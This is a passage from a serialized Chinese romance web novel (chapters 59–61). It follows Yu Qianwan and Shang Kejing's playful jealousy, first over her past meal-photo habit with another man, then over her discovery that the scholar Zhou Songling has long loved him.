但现在情形不同,天天同进同出的他们开始忙碌于各自的工作,尤其是要去往永誉的商恪景,虞千绾压根没去过永誉,那里对她而言是完全陌生的,即便商恪景每天都会跟她说他在集团里发生的事,但肯定不比自己亲眼看到亲身经历过那般每个细节都清楚明了,所以虞千绾是好奇的,她很想知道在这个她并不熟悉的地方有没有人对他有好感。 不过在问出前虞千绾就清楚知道,肯定是有的,他这样的人怎么可能没有人喜欢。碍于感情的变化,虞千绾对于这事没之前那般发自真心的好奇和八卦,更多的一种别样的微妙感。 第一次感受到虞千绾这种和吃醋有些类似的情绪,商恪景心情大好,“我啊……” 他先是故作慢悠,而后才放下筷子,全神贯注看着她道:“我项目组里百分之八十都是男性,剩下的那百分之二十平常也很少接触,不过呢,前些天跟大家有些熟悉的时候,在茶水间里闲聊的时候确实有人主动问了我有没有对象。” 眼眸因笑弯得细,商恪景特意补充,“是男的问的。” 虞千绾没想到自己的铺垫这么失败,顿感面臊但又很想知道他的答复,于是只是夹了块牛肉“哦”了声低下头去吃,以此避闪开他的视线,等待着他的后续。 “我说——” 商恪景顿了顿,继续道:“没对象,但在追,很喜欢很喜欢的那种。” 虞千绾稍稍有些脸热,不过这些日子的相处里,她已经没先前那么容易面红耳赤了,起码不会上脸让商恪景很明显的看出来。 得到他主动在新环境里表态的答案,问题本身便显得也没那么重要了,虞千绾刚欲扯开话题,商恪景却先一步开了口追问:“你怎么不问我那个人是谁?” 虞千绾到底还是高估了自己,脸颊霎时浮上些粉霞,掀眸羞愤瞪去一眼的同时桌下的脚也猛抬径直踢了踢他的小腿。 商恪景失笑,“好好好。” 他很生硬的转开话题,“你今天工作怎么样?跟蔺凌晓商量好时间了吗?” 蔺凌晓今天的机票回京市,虞千绾昨天跟商恪景说过,她也确实和蔺凌晓通了电话敲定了见面一起做视频的时间,但刚经历这么一茬,虞千绾不想回答他,而且话题转得实在太硬,商恪景也还笑得灿烂没敛住,她没那演技忽略氛围进到下个话题。 “商量好了。” 带有些报复心理的,虞千绾故意这么说:“明天跟她去点男模,带网友们看看顶级男模长什么样。” 虽然知道虞千绾在胡说,但不得不承认,商恪景听到心里头还是有些冒酸泡泡,可惜现在的身份依旧差了点,他便只能厚着脸皮以不太正经的调调回:“那千绾总考虑考虑点我呗?我肯定是最顶级的那种。” 虞千绾戚笑声,“真能往自己脸上贴金,你这段时间忙着工作都没怎么健身吧?那腹肌都不知道有没有了。” 商恪景朝着小区的方向抬了抬下颚,“现在可以回去验验货,没有八块任您惩罚。” 真是…… 惩罚?怎么听着更不正经了…… 不可否认,虞千绾心里头突然发散开的想象是让她雀跃兴奋的,她努力抿了抿唇才没让自己唇角上翘。 再对上商恪景的眼睛,她忽然正经道:“我跟蔺凌晓商量好了,后天中午碰面,晚上回来。” 毫无前摇的转移话题,比商恪景刚刚提到的时候还要生硬上几个度。 没绷住,商恪景骤然低头,右手抵着额头笑,一笑起来就有些收不住,身子也跟着发颤。 虞千绾本还能绷住的,但一见他如此瞬时也破了功,仰头比他还放肆的笑出了些声。 若不是在火锅店,店里还有旁人,两人怕是要笑得更为恣意些。 最后,两人都是逼着自己收住的情绪,边笑边聊着后面的话题。 火锅店里很热,所以商恪景吃的途中脱掉了西装外套,结账离开的时候也没准备穿,就把外套担在臂弯上这么踏出火锅店。 两人并肩而行,路灯将他们的身形拉得很长很长。 这段路程中,他们就聊着很日常的话题,暧昧却仍在滋生着。 “所以,后天晚上具体是几点回来?” “我跟蔺凌晓只商量了大致想拍的内容,还真没聊过具体的结束时间。我估计要是我们想拍的都满意拍出来了应该能在七八点结束,不顺利的话就不确定了。” “我后天工作安排还行,我到时候去接你吧?” 他怕她的工作要是结束的很迟,他们一天下来一面都见不着。 “好。那我在你下班点给你发位置。” “好……不过要是下午能时不时给我发一下也行啊,我虽然去不了,但好歹能看看。” 虞千绾轻笑,“好,我到时候疯狂轰炸你。” 商恪景:“那是我极大的荣幸。” 两人视线一上一下,同时露出会心一笑。 今年的冬季好似格外的暖。 第59章 第 59 章 “商恪景你在吃醋啊”…… 翌日的休息日, 虞千绾和商恪景并没有特意出门进行什么特别的活动,对于忙了很久工作且偏宅的他们而言,待在家才是充电回血的舒适状态,稳定平常的度过这一天会让他们感到安定。 如此, 这一天才不算白费。 不过期间, 商恪景特意在微信上联系了几位物理系的校友问询有关周既明的事。 物理系的学生们一提到周既明就很有共鸣的吐槽点是——【周老师特别严!不仅每节课都要签到, 眼神还特别敏锐, 但凡有一个人偷溜了他都能发现, 然后进行二次、三次签到,而且还不给摸鱼玩手机、开小差, 被逮到的人平时分基本就别想要了, 我一上他的课就感觉自己重回了高中时代。】 但也仅限于此,除去在教学上管得比旁的大学老师严些外, 周既明的学生对他的评价还是很高的,首先他在物理学这方面的能力毋庸置疑, 外貌的帅也很明显, 为人还很大方,只要是他带着学生一起去打比赛或者弄什么别的事到了饭点他都会请客。平常对待问问题的学生从不会恼,耐心很足,无论反复问多少遍, 周既明都会认真的解答, 绝不会露出有些老师那般无奈的仿佛在看傻子的眼神。 这些显然不是商恪景想听到的答案。 他本来是想从周既明的学生那得到周既明人品差的话验证自己的念头然后再去找证据向学校举报,哪知却是个截然相反的结果。 可他将自己认识的所有物理系的同学都问了个遍也没听到有关于周既明道德败坏的话。 商恪景先是松了口气,心想周既明这人如果真是像他们说的那样最好, 最好是他和虞千绾想多了,最好周既明那天在篮球馆里是真的认错了人。 但跟着,商恪景心里头还是有些犯嘀咕的, 甚至有些天马行空的想像周既明这种高智商的人想要伪装也是很容易的。 到底,商恪景还是没能彻底对周既明放心。 出于对虞千绾安全的考虑,他让她在手机上把他设置成紧急联系人,方便日后真有什么突发情况的时候联系他。 没多犹豫,虞千绾就依着他的话设置了,周既明好或坏都暂且未知,或许是他们脑洞大开想太多,或许是他们过度在意这个小插曲,但无论如何,自己感到怪异的时候多个保障总不是坏事- 晚上。 商恪景裹着厚实的衣服出门下楼去美食街给虞千绾买回了她昨天没吃到的铁板豆腐,味道确实不错,怪不得昨天会有那么多学生排队去买。 两个人你一块我一块很快就给吃完。 虞千绾又窝靠回沙发上,商恪景收拾着茶几上的残局。 “虞千绾。” 他突然唤了她声。 玩着手机的虞千绾掀眸瞧了他眼,“嗯?” 然后继续低头看手机,边看边听着他的话。 “明天晚上咱俩就不能在一块吃晚饭了。” “我们上周好像就没在一起吃过几次晚饭。” 那时候商恪景刚去永誉,天天加班跟着商知珩安排的助理学习工作上的事,晚饭基本都是在集团里吃的。 所以虞千绾不觉明晚不能一起吃晚饭这事有甚的顺口这么回,毕竟也不是一次两次了。 客厅忽然安静了下来,几秒没得到商恪景的答复,虞千绾再度抬眼看向他,这才发现商恪景正在以一种有些无奈的哀怨的我恨你是块木头的眼神看着她。 虞千绾看着他这个眼神感觉自己好像做错了什么,但她没想出,无辜眨了眨眼,“怎么……” “我只是在单纯的遗憾。” 那些事实商恪景当然清楚,但很多理性上知晓的事感性上都不想去做,只是迫于现实考量不得不那么做而已。 虞千绾轻咳了声,坐起些身子,“……主要是这事最近发生挺多次的了,你第一天去永誉工作没能回来吃晚饭的时候没这么说,我还以为你已经习惯了。” “我每一次没能回来的时候都在遗憾,只是你没发现。” 虞千绾闻言再去回想,才意识到好像有一点。 他没办法准点下班的时候都会提前跟她说,然后跟着发一个哭泣或者无力这类情绪表达的表情包,但虞千绾以为是他不想加班才有的这些情绪,没想到是因为不能回来一起吃晚饭。 和他的这些心绪比起来,她怎么像个钢铁直女?完全不通情爱的那种。 虞千绾心虚眨了眨眼,冲着商恪景讪笑了下。 商恪景回了个毫无感情只是咧开嘴的假笑,然后在虞千绾继续加大弧度赔笑的时候骤然收住笑容。 更感理亏的虞千绾默默抿下了唇,没好意思厚脸皮再笑,只用一双干净的水灵大眼睛看着他。 商恪景双手环胸,嗤笑声,坐在了远离虞千绾的沙发另边,酸里酸气道:“原来在我遗憾的时候,某个人已经习惯了没有我的日常。” “哪就这么大的一口锅砸下来!” 虞千绾立即向他那边靠近,巴巴凑在他边上,努力往他视线前探头。 越见她来哄,商恪景就越有些起劲。 虞千绾的脸凑到他面前,他就向左转开,她跟过来,他再向右转。 不管他往哪边转,虞千绾都会立刻跟随过去,期间同时解释道:“我承认这事是我忽略了些,没你想的那么细腻,但一个晚饭时间在一天只占了一点点部分,你不能用这指代所有,太冤枉我了。” 商恪景忍了忍,没忍住,视线下垂有些别扭的咕哝:“可你之前明明不是这样的,就算只是一点点部分、就算没见到,也有别的方式。” “什么之前?哪次?” 虞千绾从未觉得自己是个如此不在意细节的人,但她现在压根不明白商恪景在说什么。 听到这话的商恪景倏然把头抬起,没再避闪虞千绾的视线,反而侧过来直直迎着她的,看着她眼睛里浮现的迷茫,他更是气不打一处来,默了两秒愣是给自己气笑了,“你之前吃饭前不都会拍个照片给那谁看吗?这段时间怎么没见你拍给我看看?” ——“那谁。” 能让商恪景反感到连名字都不想提的人只能是常桦了。 终于找到源头的虞千绾突然懂了,笑了,“商恪景你在吃醋啊,还吃个过去时的醋,那都猴年马月的事了?” “哪天啊?我什么时候给他拍的照片?我都不记得了,你怎么还记得。” 商恪景本来听到虞千绾前半截话还挺别扭的,毕竟他们没有交往,他其实并不是太敢把吃醋和占有欲和小气展露出来,他深知自己是没有那个身份的,也怕她感觉到压力不想再跟他接触,亦怕自己得到失望的结果。 但许是最近越来越感觉到虞千绾的在意,加上刚刚她又在哄他,而且某些话听着他还有些气,各种情绪混杂,平常不会说的话忽然就脱口而出了。 结果虞千绾居然不记得了,她居然不记得了!! 他可是记到现在。 “哦,那可能是发生的次数太多了你不以为意吧。” “商恪景你又造谣我。” 虞千绾听着他那阴阳怪气的调调没绷住笑出声,实在他吃醋的样子太可爱,太明显的让她感觉到他的喜欢。 虞千绾其实在避重就轻把回答的重心放在‘次数太多’上,她记得自己在喜欢常桦的时候给他发过吃饭照片,但这很正常,并没有太多旁的心思,只是那时候她经常和常桦聊天而已,换做别的朋友,正好聊天的时候要吃饭她也会顺手拍照发过去的。 之所以之前没怎么和商恪景发过是因为他们俩几乎顿顿都在一起吃饭,哪有坐在一起吃饭的人还得拍张照片告诉对方我在吃什么的?明明直接都看到了。 而现在她起的时间不早不晚的,吃饭的时候商恪景基本都在工作,两个人没有在聊天,而且他们在一个群里,跟保姆阿姨点菜的时候对方都能看到。点外卖的时候,她倒是会和商恪景提一嘴说自己今天吃的什么,不过确实没专门拍个照片发过去。 但眼下这种情况,虞千绾知道不能这么说,说了他只会更酸更吃醋,容易更加收不了场。 可她没想到,因为她刚刚的那声笑腔,商恪景更不爽了,继续酸溜溜的阴阳怪气,“笑什么?想到那段日子觉得太美好了?这么高兴呢?” 虞千绾彻底失笑,整个身子都靠到沙发上笑的一个劲发颤,檀口时而还漾出几声闷不住的笑。 商恪景感觉自己一拳打到了棉花上,不仅没得到满意答复还一肚子气,偏偏瞧着虞千绾还没法发出气。 “别笑了。”他绷着脸,故作严肃说。 虞千绾见状,笑得更厉害了,还有些挑衅的抬手在他脸颊戳了戳,“商恪景你怎么这么好玩儿?” 齿关紧紧咬合,不得不承认,因为虞千绾的触碰商恪景是很开心的,心里情绪很没出息的发生转变,但还是有些没放下这事。 默了几秒,见虞千绾还在笑,他忽然倾身,状似凶巴巴的警告,“虞千绾,你完蛋了。” 然后在虞千绾还没反应过来的时候,他的双手突然伸向她的腰肢,隔着衣物挠着她怕痒的腰。 可真是好完蛋的法子。 虞千绾一边这么想一边又耐不住痒的哭笑不得,眼尾都沁出了泪花,她很快就跟他求饶了。 商恪景却没轻易放过她,但到后来自己的脸上也没了旁的情绪,只余笑容。 终于停下的时候,虞千绾半躺在沙发上喘着气,一头漂亮的乌发都在刚刚的挣扎中因为和沙发面摩擦变得凌乱。 当她差不多缓好,闹笑氛围逐渐没那么浓烈,开始退散的时候,商恪景也意识到自己要完了。 这下很不爽的人换成了虞千绾,她坐起身,上来就很不客气地抬脚踢了下他的小腿。 她最怕痒了,结果这人刚刚过分得很,她眼泪都要掉下来了,反复跟他求饶那么久他都不停。 讪笑的那个人变成了商恪景。 双方气势忽转,虞千绾双手环胸,“所以你说的到底是哪次?” 她之前确实给常桦发过吃饭的照片,但商恪景是什么时候知道的?虽然他们聊得很多,但她应该不会把给常桦发张吃饭照片的琐碎事都事无巨细的告诉给他吧?她对此完全没有记忆。 而且能让商恪景这么耿耿于怀,虞千绾总觉得应该还有些别的内情,她便想要追问到底。 商恪景默了默才答:“我爷爷生日那天。” 有了具体的时间点再去回想,虞千绾模糊想到了一些。 好像是有这么一回事,她当时在饭前拍照片,商恪景问她是不是发朋友圈,她说不是,只是拍给常桦看看的。 但这并不是虞千绾记忆里对那天的重点,她记得那天晚上,他被商爷爷打了,打得很重,伤了后背,休养了好一段时间。那晚还是知珩哥给她发的消息她才知道这事,她选择临时放了常桦的鸽子去医院照顾商恪景。 脑子里忽然有什么联系在一起,虞千绾怔了下,“你那天……被商爷爷打是和他在餐桌上撮合我们而你拒绝了的事有关吗?” 当初没告诉她,现在商恪景也不想说出,他张口就要否定,“不”字的前半截气音都已经出口,虞千绾却认真盯着他道:“商恪景,你不要骗我。” 他一下就说不出话了。 沉默就是答案。 虞千绾心头一震,数不清多少次懊悔于自己当初的迟钝,数不清多少次的意识到—— 原来那么早。 原来那么多。 作者有话说:商恪景耿耿于怀的那幕发生在第五章,忘记的宝可以折回去看一下~ 第60章 第 60 章 “她喜欢商恪景?”…… 因为今天出门和蔺凌晓碰面是忙工作, 并且有出镜需求,虞千绾便提前联系了妆造团队,让专业人士来家里给她化妆做造型搭配衣物。 她虽然对自己的化妆技术挺满意,但她只擅长一个类型的妆容, 还是交由妆造团队做能让常看她视频的网友感到新意, 也省了她的力。 从头发到脚一切精细打扮好, 虞千绾倾身看清镜中的自己顿时朝着化妆师竖起大拇指。 很微妙的变化, 分明人还是那个人, 脸还是那张脸,但比之她平常给人的清纯甜美就是多出些难以具体言说的钓系感。 虞千绾下意识就想拿起手机自拍几张发给商恪景让他看看不一样的自己, 再暗暗撩他一下, 但动态定格为照片的那刻总感觉差了些意思,而且抱着这种心思摆出的姿态略有些不自然, 稍显做作刻意。 自拍了好一会儿,虞千绾倒是拍出很多张满意的照片, 都是可以发朋友圈的程度, 可对象是商恪景,她就不太好意思了,因为照片里的自己很明显在凹造型,以前她不仅可以坦荡和商恪景承认还可以当着他的面矫揉造作, 现在却不想表露出来, 想给他营造一种她本来就是如此的自然感。 最终,虞千绾还是没将自拍发给商恪景,默默将手机灭屏放进包里, 心想他晚上来接她时亲眼看到效果应该更好。 唇角轻弯,她忍不住在脑海里想象他届时的神情- 蔺凌晓在户外拍摄比较有经验,所以在两人商量出大概后具体的地点是由她定的, 虞千绾依着定好的时间提前一刻钟到达吃午饭的餐厅。 几乎是前后脚,蔺凌晓很快也到了。 她们俩都是属于性格比较开朗的人,而且这段时间还在微信上时不时聊几句,又是抱着合作的心态,所以碰面后基本没什么多年未见的生疏感,很活络的就聊了起来。 想着昨天晚上商恪景的醋意,虞千绾今天吃饭前特意拍了两张照片发给他。 商恪景显然等待多时,立刻秒回了一张自己午饭的照片,照片是特意找过角度和光亮拍的,似乎还调了滤镜,不是收到她消息顺手拍下的。 两个人心生了然,但都没戳破对方的小心思,只是唇角同步抿着笑。 跟着,虞千绾点击微信聊天框里自带的位置发给商恪景。 商恪景一边理智地回虞千绾【那你们吃饭吧,我就不打扰你们了】,一边却又忍不住问询她和蔺凌晓碰面后的情况,想知道她顺不顺利。 蔺凌晓本以为虞千绾只是给予漂亮饭充分的尊重,吃之前拍几张饭菜的美照而已,因为她自己也在拍,而且还拍了小段视频保留,想着后面保不齐还能剪到vlog里。 可看到虞千绾横过手机很迅速地拍了几张照片后就拿正手机,手指在屏幕上敲击着打字不知在跟谁聊天,面上还露出些不太寻常的笑容,蔺凌晓就突然懂了什么,原来她的重点压根没放在拍照本身上,而是和某人分享。 因为身边还有别人,并且不是日常休闲聚会,虞千绾只跟商恪景说了两三句就放下了手机。 面前摆着的餐碟里有一道是蔺凌晓定下这家餐厅前反复跟她说好吃必吃的,虞千绾第一口就尝试了蔺凌晓推荐的,果然很好吃,她眉眼微抬,重重“嗯!”了声,“好好吃,是我会再来的程度。” 蔺凌晓向着虞千绾投去带着趣狭的一眼,“是跟你刚刚聊天的人一块来吗?” 虞千绾没否认,但也没承认,她估计蔺凌晓已经知道她和商恪景的事了,她们这圈子藏不住秘密,蔺凌晓又交友广泛,于是有些傲娇地说:“看他表现吧。” 蔺凌晓笑了笑,“商恪景?” 她直白提了,虞千绾也坦荡承认,笑着点了点头。 蔺凌晓跟着也点了点头,感慨道:“真挺不容易的,我看你们这么多年都是朋友,还以为不会有后续了呢。” 她举起饮料杯,“祝福!” 虞千绾拿起杯子和她的碰了碰,笑意愈发粲然,“谢谢。” 第一次这样不加掩饰的在朋友面前应下,感觉还挺不同的,好心情由内而外的蔓延。 两人这会儿没什么拍摄任务,就是单纯的吃饭、熟悉彼此,填充好身体和精神,便于后续拍摄。 聊着聊着,愈发熟稔蔺凌晓开始有些藏不住话,尤其见虞千绾并不逃避于和商恪景有关的话题,明显也是喜欢他的样子,嘴一快就挤眉弄眼道:“千绾,你还记得周松泠吗?” “当然记得,大学霸嘛。” 周家是京市有名的书香世家,祖祖辈辈至今都是搞学术研究的,教出了不知多少人才,遍布政商学三界,可以说是桃李满天下,逢年过节都有数不清多少行业稳扎稳打多年的翘楚和后起之秀前去拜访。 但也正因如此,周家对外向来不与旁人太过于交好,尤其政商两界,免得给旁观者一种站队的错觉。 周松泠也不例外,她从小就参加各种比赛,拿奖拿到手软,为人谦和但又带着股韧劲,她的眼神总是很坚毅,与柔和的外貌截然不同。 她在学校里总是独来独往,有人问她题目她也会很耐心的回答,但也就仅限于此,不会再进一步,一切都是出于礼貌,止于礼貌。 虞千绾跟周松泠是初中校友,但她们的班级一个在顶楼一个在一楼,平常连面都很少见到,压根不熟。 虞千绾知道周松泠只是因为她是所有老师口中夸赞的对象,虞千绾频频经常能从老师口中听到她的名字,也常在荣誉榜上看到她又拿到xx奖项的庆贺大字报。因此,虞千绾对周松泠有着一种对学霸的敬仰和佩服,但她们之间没有任何交集,也没有说过一句话。 初中毕业后,她们去了两所不同的高中更是再没见过一面。 不过在高二的时候,虞千绾有从别的同学那听到过周松泠的消息,说她去德国留学了。 至此,虞千绾再没有听到过和周松泠现状有关的任何,不过前段时间周家老爷子过七十大寿,她在群里看到有人自侃说【咱们这些一身铜臭的人去参加周家的宴席可别玷污了人家那高洁的充满着书卷气的地板。】 这就是虞千绾对周松泠及其家族的所有印象,一个很洁身自好很板正甚至有些严苛的清流家族,让人敬慕,但也疏离,没什么烟火气。 结果下一秒,她就听到了完全出乎意料的话—— “她居然喜欢商恪景很多年诶,我知道的时候真的超级意外。” 蔺凌晓惊叹不已,“以咱们当年对她的认知,我还以为她就是个每天都扑在学习里不通情爱的高精度机械脑呢,结果是个这么纯爱长情的,是我对学霸刻板印象了。” 虞千绾一怔,“……啊?她喜欢商恪景?” “啊?……” 蔺凌晓也懵了,顿时捂了捂唇有些后悔,意识到自己好像说错了话。她尴尬笑了笑,下意识找补,“你不知道啊……我还以为你跟商恪景关系那么好,你们关于对方这些事都知道呢……” 话一出,蔺凌晓闭了闭眼,感觉自己更有些火上浇油了…… “啊不是,我不是那个意思。” 刚刚还嘴皮子很利索的蔺凌晓这会儿突然结巴了起来,“我、我的意思是……嗯……商恪景他……反正,他肯定是喜欢你的嘛,可能从他的视角里没太把除你之外人的喜欢放在心上,也可能他自己都不知道周松泠喜欢他,只是周松泠在暗恋。” 虞千绾只觉前天的自己被狠狠打了一巴掌,她前天和商恪景吃火锅时好奇他在永誉有没有人示好的时候还在想,商恪景这些事都没瞒过她,上学时候有一个人给他表白给他写情书,他都会状似无意但事无巨细地告诉她不让她有丁点误会。 结果今天就得知事实原来并非如此,原来有一些她是不知道的…… 但正因为自己知道太多,而周松泠成为了这个例外,虞千绾心里更不舒服。 重点不在于周松泠有没有和商恪景表白,他是否知情,而在于,虞千绾甚至都不知道商恪景和周松泠是什么时候认识的,他从没和她提过一句。 不过面对着蔺凌晓,虞千绾没太表现出来,她不想让蔺凌晓感到压力,这事和蔺凌晓无关。 转而轻笑了声掩住了原本怔愣的神情,“你别紧张,我跟商恪景虽然关系好,但也不可能每次表白都告诉对方的,我就是刚刚突然听说周松泠喜欢一个人很多年很惊讶,尤其这个人还是商恪景,什么时候开始的啊?” 蔺凌晓见虞千绾神色恢复如常松了口气,但再开口的时候还是注意了不少,不过她知道的也不多,虞千绾只得到一点信息——蔺凌晓的确喜欢商恪景,应该是从学生时代开始喜欢的,但不知道是初中还是高中,因为后面她就出国了,只能是之前那段时间,并且今年还在持续对他有意思。 之所以得出最后那个结论是因为蔺凌晓今年年头去德国旅游的时候好巧不巧偶遇了周松泠。 蔺凌晓和周松泠其实也不算多熟,就是之前互相认识的状态,但蔺凌晓这人善聊,何况在异国他乡遇到认识的人,她很热情就向周松泠发出一起吃饭的邀请,不过蔺凌晓也就是这么客气一下,因为她不觉得周松泠会答应,周松泠从来都不会和朋友深交的,即便是一顿饭,结果这次,周松泠竟然答应了。 蔺凌晓一开始还狐疑呢,吃饭后就逐渐意识到了背后的原因,原来是想从她这了解到喜欢人的近况。 周松泠问的其实很委婉迂回,为了问商恪景的消息,她跟蔺凌晓兜兜转转聊了很多旁的人旁的事,但蔺凌晓是什么人啊,她朋友最多也最爱八卦了。 而且大多精力都放在学习上的周松泠在感情这方面显然是没什么经验的,提到商恪景的时候,她的眼神、表情、肢体动作都变得不同,蔺凌晓一下就觉察出了。 虞千绾面上格外灿烂的笑,内心都快把商恪景撕了,“没想到,原来周松泠还有这样一面,见到商恪景以后我一定跟他好好八卦八卦。” 蔺凌晓在和虞千绾聊天的过程中,其实已经不太觉得这事有什么了。 想来也是,虞千绾和商恪景这家世这外貌,追求者不知有多少呢,他俩应该也不会每个都跟对方说,而且就算没说又怎样,商恪景又不喜欢周松泠。 于是在听到虞千绾这话时,蔺凌晓少见的低情商,没有觉察到虞千绾真实的心思,还挺乐呵地接:“那你八卦到的时候一定跟我说一说啊,你问的话商恪景肯定会告诉你的。我好奇可久了,但我和周松泠不熟,所以那天我连她喜欢商恪景这事都没好意思戳破,更不好意思追问下去。” “你是不知道,周松泠那天跟我提到商恪景的时候脸都红了!典型少女怀春的模样嘛!但我感觉周松泠不是那种光靠皮囊就会心动的人,她应该比较注重内涵,所以我特别好奇、特别想知道商恪景和她之间到底发生了什么,居然打动了咱们这个周大学霸的心,感觉会是个很特别的故事。” “一定,我也很好奇呢。” 虞千绾面上笑得更温柔了,执着餐刀的右手手指却因为攥得紧没了血色泛着白,她很用力地切开了盘中的牛排,一块一块狠狠地狠狠地分割开来。《 》 60-70 第61章 第 61 章 虞千绾认知到,她喜欢上…… 另一边的商恪景对此浑然不知, 他还沉醉在虞千绾主动分享午餐和地址的喜悦中,高兴他跟她说的他在意的所有,她都记了下来并付诸行动。 他曾经以为说出口就代表结束的感情现在有了回应,不再是他一个人的春夏秋冬。 商恪景心情很好, 就连工作时都会时不时冲着电脑屏幕冷不丁笑一声, 眉眼间充斥着的幸福感更是一直没散过。 笑声惹得商知珩安排过来教商恪景的助理陶祺宇好几次狐疑看向商恪景, 暗暗思忖是不是自己给小商总安排的任务太重了才把他弄得有些精神不正常了, 但这些都是商总要求的啊, 他要是不依着商总的话做商总肯定要收拾他,而且商总每天都要听他汇报小商总的工作表现的。 商总那冷面阎王的模样可比小商总吓人多了, 无需太多权衡的时间, 陶祺宇便选择漠视商恪景的反常,谨遵商知珩的命令。 凡完成一个小任务或者摸鱼, 商恪景都会点开微信置顶仔细看一眼有没有来自虞千绾的新消息,但一直都没收到。 依着她那天答应他的, 她该每转场到一个新地点就给他发送位置分享的, 现在这个点肯定早结束午餐去往拍摄地了。 可一打开微信就能看到上面虞千绾发来的午餐照片和位置,显然她是在意他的,是记得答应他的话的。 商恪景便没多想什么,只当虞千绾是工作忙, 可能一直在一个地点拍摄, 等她快在那忙完的时候应该就给他发了。 期间,商恪景一如往常断断续续地给虞千绾发了消息,她都没回, 他也不急着要答复,就继续分享着自己的,心知她肯定是在忙, 等她看到了空闲了就会回复的,他们这么多年都是如此的。 直到下班前半小时,商恪景还没收到虞千绾的消息。 他心里头确实有些忐忑和忧虑了,但这些情绪都是针对于虞千绾的工作,他怕她这么久一条消息都没发给他是因为第一次单独出去和别人合作拍摄不顺利,又或是发生了什么占走了她所有的注意力,惹得她一点看手机的空闲时间都没有。 商恪景再忙工作时,敲击键盘的手指力量都明显重了些,将键盘敲击的啪啪作响。 陶祺宇又瞄去一眼,心想这样还让人放心些。 毕竟哪有人工作的时候不暴躁的,比起在工位前哭,笑还是过于怪异了。 十分钟后,距离下班时间还有二十分钟,商恪景依旧没收到虞千绾发来的消息,再拖延下去他下班都不知道该去哪里接她。 他仔细挑选了个很可爱的猫猫表情包发过去,文字也尽量轻快—— 【我要下班咯,还请千绾总在百忙之中把位置发给小的~~~】 【给小的一个来接您大驾共进晚餐的机会(眨眼.emoji)】 谅谁看着这些文字和表情包也不会想象到,发消息的人此刻竟然有些焦虑的用手指在桌边起起落落叩着,像弹钢琴一样。 时间就这么在商恪景的等待中无情滚到了下班点,商恪景第一次希望上班的时间过慢点,多给一点时间让虞千绾看到他的消息告知他她的位置。 可惜没能如愿,商恪景犹豫着要不要给虞千绾打电话,一方面怕影响到她工作,另方面想她连消息都没看到手机肯定静音了,打电话估计也是听不到的。 慢慢吞吞,商恪景收拾好东西行至电梯前,准备先去停车场等十分钟,如果十分钟后虞千绾还没回消息,他就托薄正卿给蔺凌晓发个消息问问。 幸而,刚踏出电梯,一直停留在和虞千绾聊天页面的手机左侧就弹出了一条消息,是最新位置的分享。 但也只有这么一条简洁的消息,连一个多余的文字和表情都没有。 商恪景顿感她今天工作应该特别特别忙,于是没在这时候给她找事,依旧表现的很轻快很热情的给她回了个奔跑小狗的表情包,【收到!现在就去了~】 虞千绾看到眼里落到心里,一股子无名火直冒。 他倒是在那没心没肺的,瞒她这么多年还跟没事人似的,等他到了他就死定了。 脑子里这么想着,但当下还是工作为主,虞千绾又叮嘱了商恪景一句让他在附近找个地方等她就行,她还得忙好一阵才能结束离开,他饿的话可以先买东西吃。 刚欲放下手机,那头就弹出商恪景秒回的消息,他先是发了个很可怜的表情包,然后又问:【我不能去你旁边吗?我就看着,不说话,肯定不打扰你们,你们要有什么需要的话,我还能给你们打打下手】 虞千绾巴不得他现在能跟表情包一样可怜,否则不能消她的气。 她用意识流回了个一拳打飞的表情包,实则什么都没回的把手机放在一旁又投入和蔺凌晓的拍摄中了。 虞千绾所在的地点和永誉大厦离得挺远,之间有近一个小时的车程。 商恪景到达后才发现这地方很大,而且很多周围的店内有私密性强的单独包间,如果虞千绾在包间内的话,商恪景站在店外压根不可能看到她,他总不能一间间推开去找,店家也不可能允许。 不过他闲不住,还是抱着碰运气的心思去找了找视野可即处,人没找到,哄人的小物什倒是买了好些,想着虞千绾工作完看到这些应该能减轻些压力。 夜幕渐渐降下,华灯初上。 晚上八点半,虞千绾终于结束工作,伸了个大大的懒腰和蔺凌晓客套了几句后与其分开往两个方向去。 商恪景有把停车点发给虞千绾,虞千绾很轻松就寻到了他的位置,更别提他还靠车而站,在只有车没有人的停车处格外惹眼。 没得到虞千绾回复的商恪景并不知道虞千绾回来了,他正在低头看着手机静静等待着她。 商恪景一米八八的个头有天然的外形优势,又有健身的习惯,妥妥就是个衣架子。 现在的天气愈发的冷,他下车的时候便在西装外又穿了件大衣保暖,很常见的穿搭,但无奈他身形太颀长优越,五官也是那样的硬朗、棱角分明,虞千绾瞧见更为不爽,暗道这人骚包,随便一站都这么会勾引人,他是不是还有很多和旁的女生的故事没告诉她? 自中午从蔺凌晓那知晓到现在,憋了大半天的虞千绾耐力告罄,远远瞧见商恪景就狠狠隔空剜了他一眼。 若有所感,一直低着头的商恪景突然抬起了头,视线就这么冷不丁碰上。 他们之间的距离并不近,只是停车场周围没什么高的遮挡物,便于他们看到彼此。 面无表情的商恪景在掀眸意外看到虞千绾的那刻立即弯起笑,高举右手朝她招了招,脚下快步奔向她。 虞千绾不想明摆着表现出自己的醋意,她怎么都没想到昨天还在揶揄商恪景吃陈年老醋,今天就轮到了自己,她试图克制的绷着脸徐徐开口。 但还是太高估了自己的性子。 商恪景人高腿长的,很快就跑到了虞千绾面前,看到她冷着的脸还当是她工作一天下来太疲累,于是自觉转到她身后去,边跟着她的步伐往车的方向去边伸手给她捏肩,“辛苦了,很累吧。晚上想吃什么好好补补?你说,我请客。” 这种时候的靠近亲昵动作一秒点燃了虞千绾,她倏地停下步伐,抡起身上背着的包包扭头就直接砸向商恪景胸口。 瞧着凶,实则隔着层层衣物压根没什么感觉。 商恪景下意识抬手捧住自他胸口下掉的包,这才觉察到异常,“怎么了?” “周松泠,你认不认识?” 虞千绾丁点藏不住,直直望着商恪景的眼睛就问出口了。 “周松泠?” 消失在世界里很久的名字乍然出现,商恪景有些懵,但看着虞千绾怒气冲冲的神情,转而就想到了她生气的点以及她自午餐后就没消息的反常,原来不是因为工作,而是因为他…… 舔了舔唇,商恪景看向虞千绾的眼神微微烁闪,声音也轻了很多,“……认识。” 看着他这个表情,虞千绾不用多问都知道,事情比她想的还要再严重一点。 周松泠不是暗恋,她跟商恪景表白过,又或者说,商恪景感觉到了周松泠的喜欢。 好,很好。 他不仅隐瞒了和周松泠认识的事,连同追求这事也一同瞒下了。 换做旁人,虞千绾才不会对这类事有这样的情绪,这是大家的隐私,当然可以自行选择向不向别人透露,可这个人是商恪景啊,他们从小到大在这方面明明是无话不谈的,并且是商恪景主动这样的。 